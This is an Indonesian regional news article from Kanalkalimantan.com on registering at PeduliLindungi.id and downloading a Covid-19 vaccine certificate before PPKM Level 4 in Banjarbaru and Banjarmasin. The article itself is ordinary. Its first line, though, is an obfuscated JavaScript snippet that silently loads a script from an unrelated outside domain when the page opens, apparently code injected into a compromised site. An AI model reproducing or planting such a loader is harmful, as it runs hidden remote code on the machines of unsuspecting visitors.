(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

PENTING. Jelang PPKM Level 4 Banjarbaru dan Banjarmasin, Ini Cara Download Sertifikat Vaksin


KANALKALIMANTAN.COM, BANJARBARU– Bagi masyarakat yang sudah menerima suntikan vaksin Covid-19, bisa mengecek dan mengunduh sertifikat vaksinasi. Sertifikat vaksinasi salah satu manfaatnya menjadi syarat perjalanan jarak jauh, baik menggunakan transportasi pribadi maupun publik.

Untuk mendapatkan sertifikat vaksinasi Covid-19, masyarakat hanya cukup mengunjungi laman Pedulilindungi.id.

Cara buat akun Pedulilindungi:

Baca juga: PENTING. Ini Sejumlah Lokasi Penyekatan yang Disiapkan Saat PPKM Level 4 Banjarbaru Dimulai!

 

 

Berikut cara registrasi atau membuat akun di Pedulilindungi.id:

• Klik “login/register” di pojok kanan atas

• Klik “buat akun PeduliLindungi”

• Masukkan nama lengkap dan nomor ponsel

• Kode verifikasi akan dikirim ke nomor yang terdaftar

• Masukkan 6 digit angka

Setelah berhasil, Anda akan otomatis masuk ke dalam dashboard Pedulilindungi.id.

 

Cara download sertifikat vaksin:

Untuk mengunduh sertifikat vaksinasi, berikut langkahnya:

• Klik menu yang berisi nama Anda di pojok kanan atas

• Pilih “sertifikat vaksin”

• Klik nama Anda

• Akan muncul dua sertifikat, yaitu vaksinasi pertama dan kedua juga sudah menyelesaikan dua dosis vaksin

• Klik gambar sertifikat

• Tekan “unduh sertifikat”

Perlu dicatat, sertifikat baru akan muncul ketika sudah memiliki akun di Pedulilindungi.id.

Jika belum terdaftar dalam Pedulilindungi.id, maka informasi yang akan muncul hanya sebatas status vaksinasi, tanpa ada sertifikat vaksin.

Baca juga: BREAKING NEWS. Mayat dengan Sejumlah Luka Ditemukan di Basirih Selatan  

Dilarang posting di medsos

Selanjutnya, masyarakat yang sudah mengunduh sertifikat vaksinasi Covid-19, dilarang membagikannya di media sosial. Sebab di dalam sertifikat tersebut terdapat data pribadi sensitif, seperti nomor KTP.

Sertifikat vaksinasi yang telah disimpan dapat digunakan sebagai syarat perjalanan dan hanya boleh diperlihatkan kepada petugas yang berwenang. Sertifikat tersebut juga tidak harus dicetak untuk bisa digunakan sebagai syarat dokumen perjalanan.

Versi digital, yang bisa diunduh atau terdapat di aplikasi, sudah cukup sebagai pelengkap untuk ditunjukkan kepada petugas di lapangan.

Meski demikian, ada beberapa daerah yang memberikan sertifikat vaksin dalam bentuk selembar kertas kepada warganya.

Penyertaan sertifikat vaksin sebagai syarat perjalanan merupakan upaya pemerintah untuk menekan mobilitas publik selama masa PPKM.

Diketahui Pemko Banjarbaru dan Pemko Banjarmasin memutuskan untuk memberlakukan PPKM level 4 mulai Senin (26/7/2021). (Kanalkalimantan.com/kk)

Reporter: kk
Editor: cell


Risa

Recent Posts

21 Mobil Listrik Dibeli Rp5,25 Miliar, Efisiensi Pemko Banjarmasin?

Wali Kota Yamin: Mobil Dinas Konvensional Sudah Berumur, BBM-nya Boros Read More

3 menit ago

Jadwal Imsakiyah Ramadan 2026 di Kota Tarakan

Pada Sidang Isbat yang digelar hari Selasa (17/2/2026), pemerintah secara resmi menetapkan 1 Ramadan 1447… Read More

17 menit ago

Jadwal Imsakiyah Ramadan 2026 di Kota Palangkaraya

Pemerintah telah menetapkan puasa 1 Ramadan 1447 H jatuh pada hari Kamis, 19 Februari 2026… Read More

26 menit ago

Disdikbud Kalsel Perketat Pengawasan SPMB 2026

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pendidikan dan Kebudayaan (Disdikbud) Provinsi Kalimantan Selatan (Kalsel) menggelar rapat koordinasi… Read More

50 menit ago

Masjid Agung Al Akbar Balangan Sedia 200 Porsi Berbuka Puasa

KANALKALIMANTAN.COM, PARINGIN - Selama bulan Ramadan 1447 Hijriah, pengelola Masjid Agung Al Akbar Balangan menyediakan… Read More

4 jam ago

‎Pemkab HSU Berikan Bonus Rp13,6 Miliar untuk Atlet‎ dan Pelatih

KANALKALIMANTAN.COM, AMUNTAI - ‎‎Senyum kegembiraan terpancar dari para atlet, salah satunya atlet renang, Putri yang… Read More

4 jam ago

This website uses cookies.